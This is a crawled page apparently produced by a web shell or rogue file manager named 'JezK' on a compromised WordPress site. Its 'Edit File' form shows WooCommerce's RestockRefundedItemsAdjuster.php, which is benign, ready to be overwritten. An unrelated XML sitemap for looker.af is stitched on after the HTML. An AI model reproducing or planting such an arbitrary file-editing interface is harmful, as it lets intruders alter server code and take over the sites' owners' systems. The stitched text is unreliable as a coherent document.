
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: RestockRefundedItemsAdjuster.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php
/**
 * RestockRefundedItemsAdjuster class file.
 */

namespace Automattic\WooCommerce\Internal;

use Automattic\WooCommerce\Proxies\LegacyProxy;

defined( &#039;ABSPATH&#039; ) || exit;

/**
 * Class to adjust or initialize the restock refunded items.
 */
class RestockRefundedItemsAdjuster {
	/**
	 * The order factory to use.
	 *
	 * @var WC_Order_Factory
	 */
	private $order_factory;

	/**
	 * Class initialization, to be executed when the class is resolved by the container.
	 *
	 * @internal
	 */
	final public function init() {
		$this-&gt;order_factory = wc_get_container()-&gt;get( LegacyProxy::class )-&gt;get_instance_of( \WC_Order_Factory::class );
		add_action( &#039;woocommerce_before_save_order_items&#039;, array( $this, &#039;initialize_restock_refunded_items&#039; ), 10, 2 );
	}

	/**
	 * Initializes the restock refunded items meta for order version less than 5.5.
	 *
	 * @see https://github.com/woocommerce/woocommerce/issues/29502
	 *
	 * @param int   $order_id Order ID.
	 * @param array $items Order items to save.
	 */
	public function initialize_restock_refunded_items( $order_id, $items ) {
		$order         = wc_get_order( $order_id );
		$order_version = $order-&gt;get_version();

		if ( version_compare( $order_version, &#039;5.5&#039;, &#039;&gt;=&#039; ) ) {
			return;
		}

		// If there are no refund lines, then this migration isn&#039;t necessary because restock related meta&#039;s wouldn&#039;t be set.
		if ( 0 === count( $order-&gt;get_refunds() ) ) {
			return;
		}

		if ( isset( $items[&#039;order_item_id&#039;] ) ) {
			foreach ( $items[&#039;order_item_id&#039;] as $item_id ) {
				$item = $this-&gt;order_factory::get_order_item( absint( $item_id ) );

				if ( ! $item ) {
					continue;
				}

				if ( &#039;line_item&#039; !== $item-&gt;get_type() ) {
					continue;
				}

				// There could be code paths in custom code which don&#039;t update version number but still update the items.
				if ( &#039;&#039; !== $item-&gt;get_meta( &#039;_restock_refunded_items&#039;, true ) ) {
					continue;
				}

				$refunded_item_quantity = abs( $order-&gt;get_qty_refunded_for_item( $item-&gt;get_id() ) );
				$item-&gt;add_meta_data( &#039;_restock_refunded_items&#039;, $refunded_item_quantity, false );
				$item-&gt;save();
			}
		}
	}
}
</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://looker.af/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://looker.af/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
